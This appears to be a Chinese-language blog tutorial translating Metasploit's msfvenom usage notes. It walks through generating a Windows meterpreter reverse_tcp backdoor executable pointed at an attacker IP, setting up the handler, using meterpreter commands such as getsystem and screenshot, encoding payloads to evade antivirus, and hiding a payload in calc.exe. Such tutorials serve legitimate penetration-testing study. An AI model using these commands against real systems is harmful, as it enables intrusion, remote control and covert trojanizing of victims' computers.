蜗蜗侠's Blog-关注网络安全移动版

主页 > 黑客/白帽 > Linux_Kali >

Metasploit msfvenom 使用说明

2015年6月8 日,Wei Chen在rapid7官方博客上发文,将于近期移除metasploit-framework版本中的msfencoder和msfpayload,并 使用msfvenom取代。官方的msfvenom使用说明戳这里,下面给出翻译的使用说明。
最近一次更新的msf中已经去掉了这两个工具,同时,msfcli也即将被移除。
kali和BT目前使用的MSF依然是旧版,所以用kali和BT5的小伙伴可以暂时不考虑。在其他平台上编译安装msf的童鞋,可能已经发现这个东西了。
 
msfvenom命令行选项如下:
Options:
    -p, --payload    payload>       指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用'-'或者stdin指定
    -l, --list       [module_type]   列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
    -n, --nopsled    length>         payload预先指定一个NOP滑动长度
    -f, --format     format>         指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
    -e, --encoder    [encoder]       指定需要使用的encoder(编码器)
    -a, --arch       architecture>   指定payload的目标架构
        --platform   platform>       指定payload的目标平台
    -s, --space      length>         设定有效攻击荷载的最大长度
    -b, --bad-chars  list>           设定规避字符集,比如: '\x00\xff'
    -i, --iterations count>         指定payload的编码次数
    -c, --add-code   path>           指定一个附加的win32 shellcode文件
    -x, --template   path>           指定一个自定义的可执行文件作为模板
    -k, --keep                     保护模板程序的动作,注入payload作为一个新的进程运行
        --payload-options             列举payload的标准选项
    -o, --out   path>               保存payload
    -v, --var-name name>             指定一个自定义的变量,以确定输出格式
        --shellest                 最小化生成payload
    -h, --help                     查看帮助选项
        --help-formats               查看msf支持的输出格式列表
生成payload
生成payload,有有两个必须的选项:-p -f
使用-p 来指定要使用的payload。
可以使用下面的命令来查看所有msf可用的payload列表

./msfvenom -l payloads

-p选项也支持使用使用自定义的payload,需要使用 "-",比如:

cat payload_file.bin | ./msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw

使用-f 来指定payload的输出格式

msfvenom -p windows/meterpreter/bind_tcp -f exe

使用下面的命令,可以产看msf支持的输出格式

msfvenom --help-formats

实战操作
生成后门文件

msfvenom -p windows/meterpreter/reverse_tcp lhost=[Attacker's IP] lport=4444 -f exe -o /tmp/my_payload.exe

Metasploit msfvenom 使用说明 - sn0w - 雪花 - sn0w
 
打开msfconsole调用模块exploit/multi/handler

use exploit/multi/handler

设置本地主机

set LHOST [attacker's ip]

运行监听

exploit

succeed!
Metasploit msfvenom 使用说明 - sn0w - 雪花 - sn0w
 
 meterpreter是metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个meterpretershell的链接。
 
meterpreter常用的命令
getsystem         #会自动利用各种各样的系统漏洞来进行权限提升
migrate         #进程id进程迁移
background       #把当前的会话设置为背景,需要的时候在启用
getuid           #查看对方正在运行的用户
ps   #列出所有的进程
getpid       #返回运行meterpreter的id号
sysinfo       #产看系统信息和体系结构
shell     #切换到cmd的系统权限方式
exit   #退出shell会话返回meterpreter或终止meterpreter
通过screenshot截取当前用户屏幕
screenshot
Metasploit msfvenom 使用说明 - sn0w - 雪花 - sn0w
 对于返回的多个会话可以通过background切换出会话
Metasploit msfvenom 使用说明 - sn0w - 雪花 - sn0w
 在通过 session -i 管理
Metasploit msfvenom 使用说明 - sn0w - 雪花 - sn0w
 
对payload进行编码
如果你使用了-b选项(设定了规避字符集),会自动调用编码器。
其他情况下,你需要使用-e选项来使用编码模块,例如:
msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw
可以使用下面的命令,来查看可用的编码器

msfvenom -l encoders

你也可以使用-i选项进行多次编码。某些情况下,迭代编码可以起到规避杀毒软件的作用(经过测试基本不行)
迭代编码:
msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3
规避字符:
使用-b选项意味着在生成payload的时候对某些字符进行规避。当你使用这个选项的时候,msfvenom会自动的使用合适的编码器对payload进行编码,比如:

msfvenom -p windows/meterpreter/bind_tcp -b '\x00' -f raw

使用自定义可执行文件模板:
默认的,msfvenom使用的模板文件保存在msf/data/templates目录中,如果你想使用你自己的模板文件,你可以使用-x选项来指定,比如:

msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > new.exe

这个命令将使用windows下计算器程序(calc.exe)作为可执行文件的模板生成payload。
注意:如果你想要创建一个windows的x64的可执行文件模板来生成一个x64的payload,你只能使用exe格式的模板。
使用-x选项经常和-k选项配合使用,-k选项会将你的payload作为一个新的进程运行。但目前这个选项只支持老版本的windows系统比如windows xp
 
 
推荐阅读:http://www.huo119.com/post/909.shtm
 http://www.freebuf.com/sectool/56432.html
参考文档:http://www.freebuf.com/sectool/72135.html
(责任编辑:蜗蜗侠)